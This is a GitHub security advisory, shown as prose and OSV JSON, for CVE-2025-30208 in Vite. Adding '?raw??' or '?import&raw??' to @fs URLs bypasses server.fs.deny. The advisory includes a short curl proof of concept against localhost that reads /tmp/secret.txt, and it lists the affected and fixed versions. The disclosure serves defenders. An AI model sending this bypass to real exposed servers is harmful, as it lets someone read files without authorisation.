ghsa-x574-m823-4x7w
Vulnerability from github
Published
2025-03-25 14:00
Modified
2025-03-25 14:00
Severity ?
5.3 (Medium) - CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N
Summary
Vite bypasses server.fs.deny when using ?raw??
Details

Summary

The contents of arbitrary files can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Details

@fs denies access to files outside of Vite serving allow list. Adding ?raw?? or ?import&raw?? to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as ? are removed in several places, but are not accounted for in query string regexes.

PoC

```bash $ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev

$ echo "top secret content" > /tmp/secret.txt

expected behaviour

$ curl "http://localhost:5173/@fs/tmp/secret.txt"

<body>
  <h1>403 Restricted</h1>
  <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.

security bypassed

$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??" export default "top secret content\n" //# sourceMappingURL=data:application/json;base64,eyJ2... ```

Show details on source website

To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "vite"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.2.0"
            },
            {
              "fixed": "6.2.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "vite"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.1.0"
            },
            {
              "fixed": "6.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "vite"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0.0"
            },
            {
              "fixed": "6.0.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "vite"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.4.15"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "vite"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-30208"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-284"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-25T14:00:02Z",
    "nvd_published_at": "2025-03-24T17:15:21Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nThe contents of arbitrary files can be returned to the browser.\n\n### Impact\nOnly apps explicitly exposing the Vite dev server to the network (using `--host` or [`server.host` config option](https://vitejs.dev/config/server-options.html#server-host)) are affected.\n\n### Details\n`@fs` denies access to files outside of Vite serving allow list. Adding `?raw??` or `?import\u0026raw??` to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as `?` are removed in several places, but are not accounted for in query string regexes.\n\n### PoC\n```bash\n$ npm create vite@latest\n$ cd vite-project/\n$ npm install\n$ npm run dev\n\n$ echo \"top secret content\" \u003e /tmp/secret.txt\n\n# expected behaviour\n$ curl \"http://localhost:5173/@fs/tmp/secret.txt\"\n\n    \u003cbody\u003e\n      \u003ch1\u003e403 Restricted\u003c/h1\u003e\n      \u003cp\u003eThe request url \u0026quot;/tmp/secret.txt\u0026quot; is outside of Vite serving allow list.\n\n# security bypassed\n$ curl \"http://localhost:5173/@fs/tmp/secret.txt?import\u0026raw??\"\nexport default \"top secret content\\n\"\n//# sourceMappingURL=data:application/json;base64,eyJ2...\n```",
  "id": "GHSA-x574-m823-4x7w",
  "modified": "2025-03-25T14:00:02Z",
  "published": "2025-03-25T14:00:02Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vitejs/vite/security/advisories/GHSA-x574-m823-4x7w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30208"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vitejs/vite/commit/315695e9d97cc6cfa7e6d9e0229fb50cdae3d9f4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vitejs/vite/commit/80381c38d6f068b12e6e928cd3c616bd1d64803c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vitejs/vite/commit/807d7f06d33ab49c48a2a3501da3eea1906c0d41"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vitejs/vite/commit/92ca12dc79118bf66f2b32ff81ed09e0d0bd07ca"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vitejs/vite/commit/f234b5744d8b74c95535a7b82cc88ed2144263c1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vitejs/vite"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Vite bypasses server.fs.deny when using ?raw??"
}


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